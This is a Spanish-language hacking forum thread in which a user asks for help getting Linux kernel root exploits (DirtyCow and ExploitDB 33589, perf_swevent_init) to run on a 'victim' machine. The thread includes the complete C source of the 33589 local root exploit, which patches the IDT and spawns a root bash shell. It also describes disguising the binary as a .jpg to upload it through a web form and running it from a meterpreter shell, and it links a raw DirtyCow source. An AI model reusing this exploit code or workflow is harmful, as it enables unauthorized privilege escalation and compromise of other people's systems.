Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

No me funciona el exploit por error de sintaxis (DirtyCow u otro exploit.c)

  • 5 Respuestas
  • 2208 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado banderas20

  • *
  • Underc0der
  • Mensajes: 72
  • Actividad:
    6.67%
  • Reputación 0
    • Ver Perfil
    • Email
« en: Septiembre 06, 2018, 03:56:53 pm »
Hola

Estoy intentando ejecutar Dirtycow en un Linux 3.2.0-23-generic-pae

Lo compilo en mi máquina Kali siguiendo las instrucciones (con gcc):

Código: [Seleccionar]
gcc -pthread dirtycow.c -o dirty -lcrypt
Luego lo subo a la máquina víctima. Le doy permisos de ejecución desde meterpreter, lo ejecuto y me dice:

Código: [Seleccionar]
./dirty2: 1: ./dirty2: Syntax error: "(" unexpected
¿Alguna ayuda?

Gracias!
« Última modificación: Septiembre 07, 2018, 10:39:32 am por banderas20 »

Desconectado Key

« Respuesta #1 en: Septiembre 06, 2018, 07:09:13 pm »
linea exacta de como lo estas ejecutando?

pueds enviar codigo fuente de dirty2 ?? el .c pegalo aca, ademas me parece raro que compiles dirty pero ejecutes dirty2, compilaste 2 veces?

quedo atento, saludos.

Desconectado banderas20

  • *
  • Underc0der
  • Mensajes: 72
  • Actividad:
    6.67%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #2 en: Septiembre 07, 2018, 10:39:02 am »
linea exacta de como lo estas ejecutando?

pueds enviar codigo fuente de dirty2 ?? el .c pegalo aca, ademas me parece raro que compiles dirty pero ejecutes dirty2, compilaste 2 veces?

quedo atento, saludos.

Buenas. Ante todo, gracias por responder.

No hagas mucho caso de los nombres. He probado muchas veces y para no confundirme, le voy cambiando el nombre.
Me pasa lo mismo con DirtyCow que con otros ficheros .c.

Te pongo el código de un exploit que no es Dirticow, sino de otro que debería funcionar con mayor probabilidad: 33589.c (lo pongo al final para no molestar en el post)

Tal como indican las instrucciones, lo compilo así (desde Kali):

Código: [Seleccionar]
gcc 33589.c -O2 -o vnik -v
El compilador no se queja de nada y genera vnik
Renombro vnik a vnik.jpg para poder subirlo a la víctima por un formulario web.
Desde una shell meterpreter en la víctima, recupero el fichero subido.
Renombro vnik.jpg a vnik de nuevo
Le doy permisos con chmod a+x vnik
Ejecuto con ./vnik y obtengo ese error

Mil gracias!

Código de 33589.c
Código: [Seleccionar]
/**
 * Ubuntu 12.04 3.x x86_64 perf_swevent_init Local root exploit
 * by Vitaly Nikolenko (vni[email protected])
 *
 * based on semtex.c by sd
 *
 * Supported targets:
 * [0] Ubuntu 12.04.0 - 3.2.0-23-generic
 * [1] Ubuntu 12.04.1 - 3.2.0-29-generic
 * [2] Ubuntu 12.04.2 - 3.5.0-23-generic
 *
 * $ gcc vnik.c -O2 -o vnik
 *
 * $ uname -r
 * 3.2.0-23-generic
 *
 * $ ./vnik 0
 */

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>

#define BASE  0x1780000000
#define SIZE  0x0010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);

uint64_t targets[3][3] =
            {{0xffffffff81ef67e0,  // perf_swevent_enabled
              0xffffffff81091630,  // commit_creds
              0xffffffff810918e0}, // prepare_kernel_cred
             {0xffffffff81ef67a0,
              0xffffffff81091220,
              0xffffffff810914d0},
             {0xffffffff81ef5940,
              0xffffffff8107ee30,
              0xffffffff8107f0c0}
    };

void __attribute__((regparm(3))) payload() {
uint32_t *fixptr = (void*)AB(1);
// restore the handler
*fixptr = -1;
commit_creds_fn commit_creds = (commit_creds_fn)AB(2);
prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)AB(3);
commit_creds(prepare_kernel_cred((uint64_t)NULL));
}

void trigger(uint32_t off) {
uint64_t buf[10] = { 0x4800000001, off, 0, 0, 0, 0x300 };
int fd = syscall(298, buf, 0, -1, -1, 0);
assert( !close(fd) );
}

int main(int argc, char **argv) {
uint64_t off64, needle, kbase, *p;
uint8_t *code;
uint32_t int_n, j = 5, target = 1337;
int offset = 0;
void *map;

assert(argc == 2 && "target?");
assert( (target = atoi(argv[1])) < 3 );

struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;

// mmap user-space block so we don't page fault
// on sw_perf_event_destroy
assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
memset(map, 0, SIZE);

asm volatile("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
printf("IDT addr = 0x%lx\n", idt.addr);

assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &payload, 1024);
memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);

// can only play with interrupts 3, 4 and 0x80
for (int_n = 3; int_n <= 0x80; int_n++) {
for (off64 = 0x00000000ffffffff; (int)off64 < 0; off64--) {
int off32 = off64;
if ((targets[target][0] + ((uint64_t)off32)*24) == (idt.addr + int_n*16 + 8)) {
offset = off32;
goto out;
}
}
if (int_n == 4) {
// shit, let's try 0x80 if the kernel is compiled with
// CONFIG_IA32_EMULATION
int_n = 0x80 - 1;
}
}
out:
assert(offset);
printf("Using int = %d with offset = %d\n", int_n, offset);

for (j = 0; j < 3; j++) {
needle = AB(j+1);
assert(p = memmem(code, 1024, &needle, 8));
*p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j];
}
trigger(offset);
switch (int_n) {
case 3:
asm volatile("int $0x03");
break;
case 4:
asm volatile("int $0x04");
break;
case 0x80:
asm volatile("int $0x80");
}

assert(!setuid(0));
return execl("/bin/bash", "-sh", NULL);
}


Desconectado Key

« Respuesta #3 en: Septiembre 07, 2018, 11:57:12 am »
Sabes, con el ultimo creo que no hay ningun problema, supongo que lo ejecutas con:

Código: [Seleccionar]
./vnik 0 <-- como indica el exploit



prueba con esta version de dirty cow con las instrucciones que estan comentadas en el header al comienzo:

https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c  <-- a mi no me da ningun problema.

Desconectado banderas20

  • *
  • Underc0der
  • Mensajes: 72
  • Actividad:
    6.67%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #4 en: Septiembre 09, 2018, 08:58:19 am »
Sabes, con el ultimo creo que no hay ningun problema, supongo que lo ejecutas con:

Código: [Seleccionar]
./vnik 0 <-- como indica el exploit



prueba con esta version de dirty cow con las instrucciones que estan comentadas en el header al comienzo:

https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c  <-- a mi no me da ningun problema.

Exacto. Lo ejecuto así. Probaré con esa versión, a ver...

Gracias

Desconectado banderas20

  • *
  • Underc0der
  • Mensajes: 72
  • Actividad:
    6.67%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #5 en: Septiembre 13, 2018, 03:30:01 pm »
Hola de nuevo, @Key

El exploit que pruebo es el "perf_swevent_init" . En ExploitDB, el que es 33589.

Lo ejecuto y me sigue dando el error. ¿Tú lo compilas y luego lo pasas a la víctima o cómo lo haces?

Gracias!

 

¿Te gustó el post? COMPARTILO!



Error con ffmpeg en android con android studio

Iniciado por $francisco

Respuestas: 6
Vistas: 4000
Último mensaje Mayo 16, 2015, 12:52:46 pm
por $francisco
Error "modo Monitor" TL-WN722N

Iniciado por L€XN0

Respuestas: 10
Vistas: 5470
Último mensaje Mayo 31, 2018, 08:36:34 pm
por K A I L
Error al abrir cualquier sistema operativo dese usb: "Failed to find cpu0 node"

Iniciado por thecloudff7

Respuestas: 12
Vistas: 6759
Último mensaje Febrero 14, 2016, 05:10:47 pm
por thecloudff7
¡AYUDA! Error al instalar cualquier aplicacion vía "Apt-Get"

Iniciado por iGreentick

Respuestas: 5
Vistas: 3281
Último mensaje Octubre 13, 2016, 01:44:28 am
por puntoCL
Error booteo Windows 7 se congela (starting windows) (EMS enabled)

Iniciado por KnarBlack

Respuestas: 2
Vistas: 1551
Último mensaje Febrero 18, 2019, 05:05:20 pm
por AXCESS